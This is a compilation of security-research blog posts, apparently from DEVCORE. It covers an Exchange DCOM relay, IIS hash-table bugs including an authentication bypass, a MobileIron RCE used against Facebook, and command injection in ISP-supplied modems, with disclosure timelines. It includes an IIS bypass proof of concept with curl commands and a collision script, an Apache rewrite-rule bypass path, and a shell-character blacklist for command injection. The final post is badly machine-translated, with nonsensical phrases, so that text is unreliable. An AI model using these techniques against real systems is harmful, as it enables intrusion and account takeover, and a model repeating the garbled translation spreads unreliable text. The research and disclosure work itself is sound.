Mapper (port 135) of EX02 to get the Interface of MMC20.Application. Coerce EX01 again, and relay the NTLM to the dynamic port allocated by the EPMapper, and call ExecuteShellCommand(.) under iMMC-Document-ActiveView. Run arbitrary commands for fun and profit! Writing the whole exploit is fun, just like mixing the dcomexec.py and ntlmrelayx.py together. It’s recommended to write your own exploit code by hand for those who want to understand the DCOM mechanism more! Patching DCOM Microsoft assigned CVE-2021-26414 and patch this DCOM-relay in June 2021. However, due to compatibility,the hardening on the server-side is disabled by default. Server Admin has to manually activate the patch by creating the following registry key. If Server Admin didn’t read the documentation carefully, his Exchange Server is probably still vulnerable after the June patch. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel As for when will the protection be enforced on server side? According to the FAQ under the CVE page, Microsoft has addressed a three-phase rollout to fully mitigate this issue. Now, it’s on phase one, and the patch won’t be activated by default until June 14, 2022. So, at the time of this writing, this RCE is still exploitable on the latest version of Exchange Server! P.S. Microsoft hash announcement the second phase and enabled the hardening on the server-side by default on June 14, 2022. Exchange Server that installed the latest Windows patch should be safe now Round 4 - Relay to Other Exchange Services… Services that use NTLM as their authentication method on Exchange Server might be vulnerable, too. At the time of this writing, we have already found and reported one to MSRC. We believe there should be more, and this is a good target for those who want to discover vulnerabilities on Exchange Server! Closing Here, this series has finally come to an end. Over the past two years, many ups and downs made this journey unusual. From the earliest bug collision with the bad actor, ITW panic, to the Pwn2Own hacking competition, and our talks got acceptance at top-level hacker conferences, we have a clear conscience that we didn’t do anything wrong. However, without understanding the context, there were lots of incorrect speculations and inaccurate media reports toward our company and me; there were even low blows to us… that sucks. Although there were also happy moments, such as winning our first Master-of-Pwn champion at the top-hacking competition Pwn2Own and got the Best Server-Side bug of Pwnie Awards, the gossip and troll really harassed and depressed me a lot… Congratulate that I can finally close this research and start my new hacking. I am nothing but a security nerd who would rather spend more time on hacks, and please don’t blow me if my sentences are sometimes short and unclear; it’s not easy to express things in an unfamiliar language. It took me about 4x~5x times to arrange a presentation or article in a non-native language; lots of words were lost during refining. Hope that one day, there will be no language barrier. In a bar, with beers, we can talk about hacks, the culture, and hacking all night! Timeline Jun 02, 2021- We reported the vulnerability to Microsoft through the MSRC portal. Jun 03, 2021- MSRC opened the case. (No. 65594) Jun 03, 2021- We attached a 90-days Vulnerability Disclosure Policy to MSRC. The deadline isSep 01, 2021. Jun 11, 2021- MSRC replied that they are aiming to complete it before September. Jul 22, 2021- MSRC said the case doesn’t look like it will be fully resolved by September. Jul 25, 2021- We said we could extend the deadline and let us know the new estimated date. Aug 25, 2021- We asked for the estimated date again. Sep 01, 2021- MSRC said this case has been expanding into a design change and the intended release date isDecember 2021. Sep 08, 2021- We asked is it possible to shorten the time frame because we would like to disclose this at conferences. Sep 17, 2021- MSRC replied there are not quick and simple fixes but design level changes, they can’t get the changes in October. Oct 25, 2021- We decided not to disclose this at conferences and gave the team a fair time for fixing and testing. We hoped this bug could be fixed as scheduled in December 2021. Dec 21, 2021- We asked for updates on this case. Dec 22, 2021- MSRC replied they aimed to include this patch in a CU (Cumulative Update) instead of an SU (Security Update) due to the level of changes. The next CU release date will be inMarch 2022. Apr 04, 2022- We asked that we don’t see the CU in March. When is the new release date? Apr 13, 2022- MSRC replied the CU is delayed, and the current release date is onApril 20, 2022. Apr 20, 2022- Microsoft released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23. Apr 21, 2022- We found our exploit still works fine on the latest version of Exchange Server and asked is this bug really fixed? Apr 27, 2022- MSRC replied the CU contains the code change, but it needs to be activated manually or with a script. There are still some testing concerns but the manual activation process will be public onMay 10, 2022. May 11, 2022- MSRC said the documentation and the script are mapped for the Patching Tuesday of June 2022 (Jun 14, 2022). Jun 10, 2022- MSRC said there are still having some issues on testing and they are looking to release this inJuly 2022. Jul 04, 2022- We asked if it will release in this month’s Patching Tuesday. Aug 10, 2022- Don’t see anything, asked again. Aug 18, 2022- Microsoft released the CVE and the patch activation documentation!
  14. Hi, this is my fifth time speaking at Black Hat USA and DEFCON. You can get the slide copy and video there: Let’s Dance in the Cache - Destabilizing Hash Table on Microsoft IIS (slides) Let’s Dance in the Cache - Destabilizing Hash Table on Microsoft IIS (video - TBD) As the most fundamental Data Structure in Computer Science, Hash Table is extensively used in Computer Infrastructures, such as Operating Systems, Programming Languages, Databases, and Web Servers. Also, because of its importance, Microsoft has designed its own Hash Table algorithm from a very early stage, and applied it heavily to its web server, IIS. Since IIS does not release its source code, I guess the algorithm implementation details should be an unexplored area to discover bugs. Therefore,this research mainly focuses on the Hash Table implementation and its usage. We also look into the Cache mechanism because most of the Hash Table usages in IIS are Cache-Related! Because most of the details are in the slides, please forgive me this time for this brief write-ups instead of a full blog. CVE-2022-22025 - Microsoft IIS Hash-Flooding DoS CVE-2022-22040 - Microsoft IIS Cache Poisoning Attack CVE-2022-30209 - Microsoft IIS Authentication Bypass P.S. All vulnerabilities addressed in this blog have been reported responsible to Microsoft and patched in July 2022. 1. IIS Hash-Flooding DoS It’s hard to imagine that we can still see such a classic Algorithmic Complexity Attack as Hash-Flooding Attack in IIS in 2022. Although Microsoft has configured a thread deleting outdated records every 30 seconds to mitigate the attack, we still found a key-splitting bug in the implementation toamplify our power by over 10 times to defeat the guardian by zero hashes. Through this bug we canmake a default installed IIS Server unresponsivewith about 30 connections per second! Because this bug also qualifies for the Windows Insider Preview Bounty Program, we also rewarded $30,000 for this DoS. This is the maximum bounty for the category of Denial-of-Service! You can check the full demo video here: 2. IIS Cache Poisoning Attack Compared with other marvelous Cache Poisoning research, this one is relatively plain. The bug is found in the component of Output Caching, the module responsible for caching dynamic responses to reduce expensive database or filesystem access on web stacks. Output Caching uses a bad Query String parser that only takes the first occurrence as the Cache-Key when Query String keys are duplicated. This behavior is actually not a problem independently. However, it’s a trouble in the view of the whole architecture with the backend, ASP.NET. The backend concatenates the value of all repeated keys together, which leads to an inconsistency between parser behaviors. Therefore,a classic HTTP Parameter Pollution can make IIS cache the wrong result! 3. IIS Authentication Bypass This may be the most interesting bug of this talk. LKRHash is a Hash Table algorithm designed and patented by Microsoft in 1997. It’s based on Linear Hashing and created by Paul Larson of Microsoft Research, Murali Krishnan and George Reilly of the IIS team. LKRHash aims to build a scalable and high-concurrent Hash Table under the multithreading and multi-core environment. The creators put a lot of effort into making this implementation portable, flexible and customizable to adapt to multiple products across Microsoft. An application can define its own Table-Related functions, such as the Hash Function, the Key Extracting Function, or the Key Comparing Function. This kind of extension creates a bunch of opportunities for vulnerability mining. So, under this context, we cares more about the relationship between the records, the keys, and the functions. 123456789101112CLKRHashTable:CLKRHashTable( this, 'TOKEN_CACHE', //An identifier for debugging pfnExtractKey, //Extract key from record pfnCalcKeyHash, //Calculate hash signature of key pfnEqualKeys, //Compare two keys pfnAddRefRecord, //AddRef in FindKey, etc 4.0, //Bound on the average chain length. 1, //Initial size of hash table. 0, //Number of subordinate hash tables. 0 //Allow multiple identified keys?); Because “Logon” is an expensive operation, to improve the performance, IIS cached all tokens for password-based authentications, such as Basic Authentication by default, and the bug we found this time is located in the logic of the key-comparing function when a collision occurs. If a login attempt whose hash hits a key that is already in the cache, LKRHash enters the application-specific pfnEqualKeys function to determine whether the key is correct or not. The application-specific logic of TokenCacheModule is as follows: My favorite bug among the vulnerabilities I presented today! The original intent was to compare the password. However, the developer copy-and-pasted the code but forget to replace the variable name. That leads to the Authentication Bypass on IIS. pic.twitter.com/NLDDLQNYX2 — Orange Tsai (@orange_8361) August 10, 2022 As the logic compares several parts to make the decision, it’s weird why IIS compares the username twice. I guess the original intent was to compare the password. However, the developer copy-and-pasted the code but forget to replace the variable name. That leads to thatan attacker can reuse another user’s logged-in token with random passwords. To build the smallest PoC to test your own, you can create a testing account and configure the Basic Authentication on your IIS. 123456# add a test account, please ensure to remove that after testing net user orange test-for-CVE-2022-30209-auth-bypass /add# the source of login is not important, this can be done outside IIS. curl -I -su 'orange:test-for-CVE-2022-30209-auth-bypass' 'http://iis/protected/' | findstr HTTPHTTP/1.1 200 OKUnder the attacker’s terminal: 1234567891011121314151617# script for sanity check type test.pydef HashString(password): j=0 for c in map(ord, password): j=c + (101*j)0xffffffffffff return jassert HashString('test-for-CVE-2022-30209-auth-bypass')==HashString('ZeeiJT')# before the successful login curl -I -su 'orange:ZeeiJT' 'http://iis/protected/' | findstr HTTPHTTP/1.1 401 Unauthorized# after the successful login curl -I -su 'orange:ZeeiJT' 'http://iis/protected/' | findstr HTTPHTTP/1.1 200 OKAs you can see, the attacker can log into the user orange with another password whose hash is the same as the original one. However, it’s not easy to collide the hash. The probability of each attempt is only worth 1/2^32 because the hash is a 32-Bit Integer, and the attacker has no way to know the hash of existing cache keys. It’s a ridiculous number to make exploiting this bug like playing a lottery. The only pro is that the attempt costs nothing, and you have unlimited tries! To make this bug more practical, we proposed several ways to win the lottery, such as: Increase the odds of the collision - LKRHash combined LCGs to scramble the result to make the hash more random. However, we can lower the key space because the LCG is not one-to-one mapping under the 32-Bit Integer. There must be results that will never appear so that we can pre-compute a dictionary that excludes the password whose hash is not in the results andincrease the success rate by 13% at least! Regain the initiative - By understanding the root cause, we brainstorm several use cases thatcan cache the token in memory forever and no longer wait for user interaction, such as the IIS feature Connect As or leveraging software design patterns. We have also proved this attack works naturally on Microsoft Exchange Server. By leveraging the default activated Exchange Active Monitoring service, we can enter HealthMailbox’s mailbox without passwords! This authentication-less account hijacking is useful for further exploitations such as phishing or chaining another post-auth RCE together! Timeline Mar 16, 2022 - We reported the IIS Cache Poisoning to Microsoft through the MSRC portal. Apr 09, 2022 - We reported the IIS Hash-Flooding DoS to Microsoft through the MSRC portal. Apr 10, 2022 - We reported the IIS Authentication Bypass to Microsoft through the MSRC portal. Jul 12, 2022 - Microsoft fixed everything at July’s Patch Tuesday.
  15. P.S. This is a cross-post blog from Zero Day Initiative (ZDI) This is a guest post DEVCORE collaborated with Zero Day Initiative (ZDI) and published at their blog, which describes the exploit chain we demonstrated at Pwn2Own 2021! Please visit the following link to read that :) FROM PWN2OWN 2021: A NEW ATTACK SURFACE ON MICROSOFT EXCHANGE - PROXYSHELL! If you are interested in more Exchange Server attacks, please check the following articles: A New Attack Surface on MS Exchange Part 1 - ProxyLogon! A New Attack Surface on MS Exchange Part 2 - ProxyOracle! A New Attack Surface on MS Exchange Part 3 - ProxyShell! A New Attack Surface on MS Exchange Part 4 - ProxyRelay! With ProxyShell, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port! Here is the demonstration video:
  16. [Traditional Chinese version | English Version ] Hi, it’s a long time since my last article. This new post is about my research this March, which talks about how I found vulnerabilities on a leading Mobile Device Management product and bypassed several limitations to achieve unauthenticated RCE. All the vulnerabilities have been reported to the vendor and got fixed in June. After that, we keep monitoring large corporations to track the overall fixing progress and then found that Facebook didn’t keep up with the patch for more than 2 weeks, so we dropped a shell on Facebook and reported to their Bug Bounty program! This research is also presented at HITCON 2020. You can check the slides HERE As a Red Teamer, we are always looking for new paths to infiltrate the corporate network from outside. Just like our research in Black Hat USA last year, we demonstrated how leading SSL VPNs could be hacked and become your Virtual “Public” Network! SSL VPN is trusted to be secure and considered the only way to your private network. But, what if your trusted appliances are insecure? Based on this scenario, we would like to explore new attack surfaces on enterprise security, and we get interested in MDM, so this is the article for that! What is MDM? Mobile Device Management, also known as MDM, is an asset assessment system that makes the employees’ BYOD more manageable for enterprises. It was proposed in 2012 in response to the increasing number of tablets and mobile devices. MDM can guarantee that the devices are running under the corporate policy and in a trusted environment. Enterprise could manage assets, install certificates, deploy applications and Even lock/wipe devices remotely to prevent data leakage as well. UEM (Unified Endpoint Management) is a newer term relevant to MDM which has a broader definition for managed devices. Following we use MDM to represent similar products! Our target MDM, as a centralized system, can manage and control all employees’ devices. It is rarely an ideal asset assessment system for a growing company. Besides, MDM must be reachable publicly to synchronize devices all over the world. A centralized and public-exposing appliance, what could be more appealing to hackers? Therefore, we have seen hackers and APT groups abusing MDM these years! Such as phishing victims to make MDM a CC server of their mobile devices, or even compromising the corporate exposed MDM server to push malicious Trojans to all devices. You can read the report Malicious MDM: Let’s Hide This App by Cisco Talos team and First seen in the wild - Malware uses Corporate MDM as attack vector by CheckPoint CPR team for more details! From previous cases, we know that MDM is a solid target for hackers, and we would like to do research on it. There are several MDM solutions, even famous companies such as Microsoft, IBM and Apple have their own MDM solution. Which one should we start with? We have listed known MDM solutions and scanned corresponding patterns all over the Internet. We found that the most prevalent MDMs are VMware AirWatch and MobileIron! So, why did we choose MobileIron as our target? According to their official website, more than 20,000 enterprises chose MobileIron as their MDM solution, and most of our customers are using that as well. We also know Facebook has exposed the MobileIron server since 2016. We have analyzed Fortune Global 500 as well, and found more than 15% using and exposing their MobileIron server to the public! Due to above reasons, it became our main target! Where to Start From past vulnerabilities, we learned there aren’t too many researchers diving into MobileIron. Perhaps the attack vector is still unknown. But we suspect the main reason is that the firmware is too hard to obtain. When researching an appliance, turning a pure BlackBox testing into GrayBox, or WhiteBox testing is vital. We spent lots of time searching for all kinds of information on the Internet, and ended up with an RPM package. This RPM file is supposed to be the developer’s testing package. The file is just sitting on a listable WebRoot and indexed by Google Search. Anyway, we got a file to research. The released date of the file is in early 2018. It seems a little bit old but still better than nothing! P.S. We have informed MobileIron and the sensitive files has been removed now. Finding Vulnerabilities After a painful time solving the dependency hell, we set the testing package up finally. The component is based on Java and exposed three ports: 443 - the user enrollment interface 8443 - the appliance management interface 9997 - the MobileIron device synchronization protocol (MI Protocol) All opened ports are TLS-encrypted. Apache is in the front of the web part and proxies all connections to backend, a Tomcat with Spring MVC inside. Due to the Spring MVC, it’s hard to find traditional vulnerabilities like SQL Injection or XSS from a single view. Therefore, examining the logic and architecture is our goal this time! Talking about the vulnerability, the root cause is straightforward. Tomcat exposed a Web Service that deserializes user input with Hessian format. However, this doesn’t mean we can do everything! The main effort of this article is to solve that, so please see the exploration below. Although we know the Web Service deserializes the user input, we can not trigger it. The endpoint is located on both: User enrollment interface - https://mobileiron/mifs/services/ Management interface - https://mobileiron:8443/mics/services/ We can only touch the deserialization through the management interface because the user interface blocks the Web Service access. It’s a critical hit for us because most enterprises won’t expose their management interface to the Internet, and a management-only vulnerability is not useful to us so that we have to try harder.( Scrutinizing the architecture, we found Apache blocks our access through Rewrite Rules. It looks good, right? 12RewriteRule ^/mifs/services/(.*)$ https://%{SERVER_NAME}:8443/mifs/services/$1 [R=307,L]RewriteRule ^/mifs/services [F]MobileIron relied on Apache Rewrite Rules to block all the access to Web Service. It’s in the front of a reverse-proxy architecture, and the backend is a Java-based web server. Have you recalled something? Yes, the Breaking Parser Logic! It’s the reverse proxy attack surface I proposed in 2015, and presented at Black Hat USA 2018. This technique leverage the inconsistency between the Apache and Tomcat to bypass the ACL control and receive the Web Service. BTW, this excellent technique is also applied to the recently F5 BIG-IP TMUI RCE vulnerability! https://mobileiron/mifs/./services/someService Exploiting Vulnerabilities OK, now we have access to the deserialization wherever it’s on enrollment interface or management interface. Let’s go back to exploits! Moritz Bechler has an awesome research which summarized the Hessian deserialization vulnerability on his whitepaper, Java Unmarshaller Security. From the marshalsec source code, we learn the Hessian deserialization triggers the equals() and hashcode() while reconstructing a HashMap. It could also trigger the toString() through the XString, and the known exploit gadgets so far are: Apache XBean Caucho Resin Spring AOP ROME EqualsBean/ToStringBean In our environment, we could only trigger the Spring AOP gadget chain and get a JNDI Injection. Name Effect x Apache XBean JNDI Injection x Caucho Resin JNDI Injection √Spring AOPJNDI Injectionx ROME EqualsBean RCE Once we have a JNDI Injection, the rest parts of exploitations are easy! We can just leverage Alvaro Muñoz and Oleksandr Mirosh’s work, A Journey From JNDI/LDAP to Remote Code Execution Dream Land, from Black Hat USA 2016 to get the code execution… Is that true? Since Alvaro Muñoz and Oleksandr Mirosh introduced this on Black Hat, we could say that this technique helps countless security researchers and brings Java deserialization vulnerability into a new era. However, Java finally mitigated the last JNDI/LDAP puzzle in October 2018. After that, all java version higher than 8u181, 7u191, and 6u201 can no longer get code execution through JNDI remote URL-Class loading. Therefore, if we exploit the Hessian deserialization on the latest MobileIron, we must face this problem! Java changed the default value of com.sun.jndi.ldap.object.trustURLCodebase to False to prevent attackers from downloading remote URL-Class to get code executions. But only this has been prohibited. We can still manipulate the JNDI and redirect the Naming Reference to a local Java Class! The concept is a little bit similar to Return-Oriented Programming, utilizing a local existing Java Class to do further exploitations. You can refer to the article Exploiting JNDI Injections in Java by Michael Stepankin in early 2019 for details. It describes the attack on POST-JNDI exploitations and how to abuse the Tomcat’s BeanFactory to populate the ELProcessor gadget to get code execution. Based on this concept, researcher Welkin also provides another ParseClass gadget on Groovy. As described in his (Chinese) article: In addition to javax.el.ELProcessor, of course, there are many other classes that meet the conditions that can be injected into the BeanFactory as beanClass. For example, if there is a groovy library in the target machine classpath, it can be exploited based on the previous vulnerability of Jenkins posted by Master Orange. It seems the Meta Programming Exploitation in my previous Jenkins research could be used here as well. It makes the Meta Programming great again :D The approach is fantastic and looks feasible for us. But both gadgets ELProcessor and ParseClass are unavailable due to our outdated target libraries. Tomcat introduced the ELProcessor since 8.5, but our target is 7. As for the Groovy gadget, the target Groovy version is too old (1.5.6 from 2008) to support the Meta Programming, so we still have to find a new gadget by ourselves. We Found a new gadget on GroovyShell in the end. If you are interested, you can check the Pull Request I sent to the JNDI-Injection-Bypass project! Attacking Facebook Now we have a perfect RCE by chaining JNDI Injection, Tomcat BeanFactory and GroovyShell. It’s time to hack Facebook! Aforementioned, we knew the Facebook uses MobileIron since 2016. Although the server’s index responses 403 Forbidden now, the Web Service is still accessible! Everything is ready and wait for our exploit! However, several days before our scheduled attack, we realized that there is a critical problem in our exploit. From our last time popping shell on Facebook, we noticed it blocks outbound connections due to security concerns. The outbound connection is vital for JNDI Injection because the idea is to make victims connecting to a malicious server to do further exploitations. But now, we can’t even make an outbound connection, not to mention others. So far, all attack surfaces on JNDI Injection have been closed, we have no choice but to return to Hessian deserialization. But due to the lack of available gadgets, we must discover a new one by ourselves! Before discovering a new gadget, we have to understand the existing gadgets’ root cause properly. After re-reading Moritz Bechler’s paper, a certain word interested me: Cannot restore Groovy’s MethodClosure as readResolve() is called which throws an exception. A question quickly came up in my mind: Why did the author leave this word here? Although it failed with exceptions, there must have been something special so that the author write this down. Our target is running with a very old Groovy, so we are guessing that the readResolve() constraint might not have been applied to the code base yet! We compared the file groovy/runtime/MethodClosure.java between the latest and 1.5.6. 12345678$ diff 1_5_6/MethodClosure.java 3_0_4/MethodClosure.java private Object readResolve() { if (ALLOW_RESOLVE) { return this; } throw new UnsupportedOperationException(); }Yes, we are right. There is no ALLOW_RESOLVE in Groovy 1.5.6, and we later learned CVE-2015-3253 is just for that. It’s a mitigation for the rising Java deserialization vulnerability in 2015. Since Groovy is an internally used library, developers won’t update it if there is no emergency. The outdated Groovy could also be a good case study to demonstrated how a harmless component can leave you compromised! Of course we got the shell on Facebook in the end. Here is the video: Vulnerability Report and Patch We have done all the research on March and sent the advice to MobileIron at 4/3. The MobileIron released the patch on 6/15 and addressed three CVEs for that. You can check the official website for details! CVE-2020-15505 - Remote Code Execution CVE-2020-15506 - Authentication Bypass CVE-2020-15507 - Arbitrary File Reading After the patch has been released, we start monitoring the Internet to track the overall fixing progress. Here we check the Last-Modified header on static files so that the result is just for your information. (Unknown stands for the server closed both 443 and 8443 ports) At the same time, we keep our attentions on Facebook as well. With 15 days no-patch confirm, we finally popped a shell and report to their Bug Bounty program at 7/2! Conclusion So far, we have demonstrated a completely unauthenticated RCE on MobileIron. From how we get the firmware, find the vulnerability, and bypass the JNDI mitigation and network limitation. There are other stories, but due to the time, we have just listed topics here for those who are interested: How to take over the employees’ devices from MDM Disassemble the MI Protocol And the CVE-2020-15506, an interesting authentication bypass I hope this article could draw attention to MDM and the importance of enterprise security! Thanks for reading.D
  17. Hi, this blog post is just a short post to address the technique part in one of my Red Team cases last year. I believe it’s worth sharing, so I reproduced this in my lab environment and made this topic. This topic is also presented in RealWorld CTF Live Forum and OWASP Hong Kong 2021 Techday. It’s also on YouTube now! Although it is speaking in Mandarin, the slides and subtitles are in English :P [Slides] A Journey Combining Web Hacking and Binary Exploitation in Real World! [Video] A Journey Combining Web Hacking and Binary Exploitation in Real World! As a result, we combined a type juggling 0day on PHPWind to crack the secret key and PHP Use-After-Free(CVE-2015-0273) on an encrypted PHPWind unserialized() call to pop out shells on our target server. Since the target environment is unknown to us, the hard part is to build all things blindly. Although there is already a famous case about exploiting PHP Use-After-Free on PornHub Bug Bounty, our environment and exploitation steps are different! Here I would also like to thank my colleague Meh Chang for working together. Please check the slides and video for details!
  18. For non-native readers, this is a writeup of my DEVCORE Conference 2019 talk. Describe a misconfiguration that exposed a magic service on port 3097 on our country’s largest ISP, and how we find RCE on that to affect more than 250,000 modems :P Hello everyone, I am Orange! This article is a question I shared on DEVCORE Conference 2019, telling how to move from a configuration error in China Telecom to a link to the vulnerability of home data machines that can control hundreds of thousands or even millions of units! 前言 As a research team of DEVCORE, our job is to study the latest attack trends, explore the latest weaknesses, find loopholes that can affect the world, and report back to manufacturers to prevent these loopholes from flowing into the underground black market and being exploited by black haters or even national-level players, making this world safer! Taking "vulnerability research" as a job has always been the dream of many information security technology enthusiasts, but most people only see the light of publishing loopholes or the light of the on-site seminars, and notice the hard work behind it. In fact, "vulnerability research" is often a very peaceful and boring process. Vulnerability mining is not like Capture the Flag (CTF). There must be loopholes and a correct solution waiting for you to solve. Under the scope of the question's purpose, as long as you think about the idea of the question based on existing conditions and cues, you can find out the problem. Although there are still those fresh, high-quality, and difficult competitions such as HITCON CTF or Plaid CTF, "Find out vulnerabilities" and "How to exploit vulnerabilities" are already two different things in nature! CTF is very suitable for people with a certain degree of improvement in their abilities, but the disadvantage is that if they are often within the limited small frame, their ideas and vision are easily limited, and the attack and defense of the real world are often more complex and have a greater dimension! It is conceivable that it is absolutely not a simple matter to discover new weaknesses in a product that has been mature, used for many years, and the world's security personnel are paying attention to! The top CTF competition is only 48 hours, but how long can you last if you cannot know if there are loopholes in the goal? In our previous study, we found three remote code execution vulnerabilities that do not need to be certified among well-known SSL VPN manufacturers. Although the results are sophisticated, it took the entire research group six months (plus the subsequent processing can even last one year), and even continued to complete the first two months with zero production and no vulnerabilities found. Therefore, for a good loophole researcher, in addition to the ability to integrate, how much you see and whether you can deeply explore, you also need to have the ability to think independently, and be so full of interest that you can endure loneliness and other characteristics, so that you can kill a path in the face of high-difficulty challenges! Vulnerability research is often not a company's money-making project, but a department that cannot be invested. How many companies can allow employees to do a research that may not necessarily produce in half a year or a year? What's more, is it just to report the research results without conditions to make the world safer? This is our DEVCORE Regardless of the excellence of being better than others in the practice of supervising tests or red team training, in addition to the accumulation of military firehouses on weekdays, when encountering loopholes, they will also want to maximize the harm of this loophole, use the gay thinking and various combinations to exploit a low-risk loophole to the extreme, which is also in line with the real way of attacking you by the gay enemy! 影響範圍 Story Back to one day at the beginning of this year, our DEVCORE's information center monitored that there are a large number of network addresses in Taiwan, opening the 3097 connection port, and interestingly, these addresses are not the addresses of servers, but ordinary home computers. Generally speaking, home computers are connected to the Internet through the data machine, and will never open any service externally. Even the SSH and HTTP management interface of the data machine can only be accessed by the internal network. Therefore, we suspect that this is related to the configuration error of the ISP! We have also successfully discovered a remote code execution loophole that does not need to be certified on this connection port! For example, it is the feeling that the guest is already sleeping in the sand in your living room! Through this loophole, we can complete : Listen to network traffic, retrieve network identity, PTT password, and even your credit card information Update hijacking, puddle attack, internal attacks to control your computer and even your mobile phone Combining the Red Team Training to Browse Through Various Developers’ Whitelist Policy More More. The relevant CVE vulnerability number is : CVE-2019-13411 CVE-2019-13412 CVE-2019-15064 CVE-2019-15065 CVE-2019-15066 Compared with the previous attacks on household data machines, the impact this time is even more serious! In the past, no matter how serious the vulnerability was, as long as the household data machine did not open any connection ports, the attacker could not exploit it. However, this vulnerability included configuration errors of China Telecom, which caused your data machine to run naked on the Internet. The attacker was only 010-59,000. Moreover, since it did not have the control rights of the data machine, this attack was generally unable to prevent and repair it! After scanning IPv4 across the Internet, there are about 250,000 Taiwan data machines in Taiwan that have this problem, 010-59,000, but the result is only 010-59,000, so the actual victims must be larger than this number! Through the counter-examination of online addresses, up to 90% of the victims are China Telecom's dynamic IP, while the remaining 10% include fixed IP and other telecommunications companies. As for why there are other telecommunications companies? Our understanding is that China Telecom, as Taiwan's largest telecommunications provider, holds resources and hardware facilities that other telecommunications providers are far away. Therefore, in some relatively remote locations, other telecommunications providers may still be the equipment of China Telecommunications providers on the last mile from other telecommunications providers to users! Since we are not a manufacturer, we cannot know the complete list of affected data models, but the author is also a victim ╮(╯_╰)╭, so we can determine that the China Telecom Optical Generation GPON data machines used by the most people are also within the affected range! (Pictures are copied from the Internet) 漏洞挖掘 It is just a configuration error and cannot be said to be a big problem, so next we hope to dig out more serious vulnerabilities in this service! The mining of software vulnerabilities is divided into : according to the original code, execution files and API files. Black box test Gray box test White box test In a situation where there is nothing, you can only rely on experience and understanding of the system to guess the implementation behind each instruction and find loopholes. 黑箱測試 3097 The connection port provides many instructions related to the telecommunications network. The prediction is the debugging interface for the engineer to provide various network settings for the data machine at a remote end! Among them, all functions can be listed through the HELP command. We found a command called MISC. The name is like classifying a bunch of instructions that don’t know how to classify. One of them is called SCRIPT, which attracted us! Its parameter is a file name. After execution, it seems to be the file as Shell Script, but it cannot obtain any code to execute through this command, but it cannot be left with a controllable file on the remote machine. But interestingly, the MISC SCRIPT instruction will display STDERR, so you can use this feature to complete any file reading! 從黑箱進化成灰箱 In terms of exploitation of vulnerabilities, whether it is memory utilization or network exploration, it is all about the acquisition of three rights: reading (Read), writing (Write) and code execution (eXecute). Now we have obtained the right to read the first reading. What’s next? Unless the error interface seems to be running under high-right users, you can directly obtain the password for system user management login by reading the system password file! Through the cracking of root user passwords, we successfully logged in to the data SSH machine SSH transformed the "black box" into a "gray box"! Although we can successfully control our own data now, ordinary household data machines will not open SSH services externally. In order to achieve the data that can control others "remotely", we still have to find a way to obtain the execution permission of the code from the service 3097. The entire Zhonghua Telecom data machine is an embedded Linux system running on the MIPS processor architecture, while the 3097 service is processed by a binary file in /usr/bin/omcimain. The entire file size is nearly 5MB, which is not a small number for reverse engineering, but compared with black box testing, at least there is something to analyze. It's great! 123456789101112$ uname -aLinux I-040GW.cht.com.tw 2.6.30.9-5VT #1 PREEMPT Wed Jul 31 15:40:34 CST 2019[luna SDK V1.8.0] rlx GNU/Linux$ netstat -anp | grep 3097tcp 0 0 127.0.0.1:3097 0.0.0.0:* LISTEN$ ls -lh /usr/bin/omcimain-rwxr-x 1 root root 4.6M Aug 1 13:40 /usr/bin/omcimain$ file /usr/bin/omcimainELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked 從灰箱進化成白箱 Now, we can understand the principles and implementation behind each instruction through reverse engineering! However, first of all, reverse engineering is a painful and troublesome past. A small program may contain thousands, or even tens of thousands of lines of combined language codes, so the strategy of digging at this time becomes very important! From the perspective of function, it seems that there are loopholes related to command injection, so start digging with function as the development point! The core of the entire 3097 service is actually a multi-layer IF-ELSE option, and each small frame corresponds to the implementation of a function. For example, cli_config_cmdline corresponds to the CONFIG instruction, so we use the prompts of the HELP instruction to mine each function one by one! After a while, no serious vulnerability was found : (However, we noticed that when all the commands failed to match, a function with_fallback will be entered. The main purpose of this function is to connect the failed matching command to /usr/bin/diag and continue to execute! with_fallback is roughly edited as follows. Since Ghidra had not appeared at that time, this original code was slowly restored from the MIPS combination language! Where s1 is the entered instruction. If the instruction does not appear in the defined list and the question in the instruction, it will be mixed with /usr/bin/diag and entered the system for execution! Of course, in order to prevent relevant weaknesses such as command injection, before entering the system, you will first check whether there are harmful characters based on the list of BLACKLISTS. 1234567891011121314151617181920212223242526char *input=util_trim(s1);if (input[0]=='\0' || input[0]=='#') return 0;while (SUB_COMMAND_LIST[i] !=0) { sub_cmd=SUB_COMMAND_LIST[i++]; if (strncmp(input, sub_cmd, strlen(sub_cmd))==0) break;}if (SUB_COMMAND_LIST[i]==0 strchr(input, '?')==0) return -10;//.while (BLACKLISTS[i] !=0) { if (strchr(input, BLACKLISTS[i]) !=0) { util_fdprintf(fd, 'invalid char '%c' in command\n', BLACKLISTS[i]); return -1; } i++;}snprintf(file_buf, 64, '/tmp/tmpfile.%d.%06ld', getpid(), random() % 1000000);snprintf(cmd_buf, 1024, '/usr/bin/diag %s %s 2/dev/null', input, file_buf);system(cmd_buf); and BLACKLISTS definition is as follows : 1char *BLACKLISTS='|(){}`;';If it were your words, could you think of how to go through it? The answer is very simple! Command injection is often so simple and practical! Here we demonstrate how to know the victim's IP address from PTT to the real meaning of "pointing wherever you point" when entering it! 後記 The story almost comes to the end. The whole article seems to be lightly written, describing a loophole from discovery to exploitation. From the result, it may be just a simple command injection, but in fact, the time spent in the middle and the wrong paths you are reading the article cannot imagine, just like walking in the dark, and you will never know whether the path you are taking is the right path to the goal before you walk out of the mystery! Digging out new loopholes is not an easy task, especially today when various attack techniques are ready to mature, it is even more difficult to come up with a brand new attack technique! In the field of vulnerability research, Taiwan has not yet had enough energy. If you can't meet you in your daily challenges, if you want to experience the real world's offense and defense, please join us to communicate with us.D 通報時程 July 28, 2019 - Report to China Telecom via TWCERT/CC August 14, 2019 - The manufacturer responded to the inventory and repaired the equipment August 27, 2019 - The manufacturer replied that the repair was completed in early September August 30, 2019 - The manufacturer responded that the impacted equipment has been updated September 11, 2019 - The manufacturer replied that some users need to send an update, and postpone the public time September 23, 2019 - Confirm that it is open with TWCERT/CC September 25, 2019 - Posted to DEVCORE Conference 2019 November 11, 2019 - Blog Posts
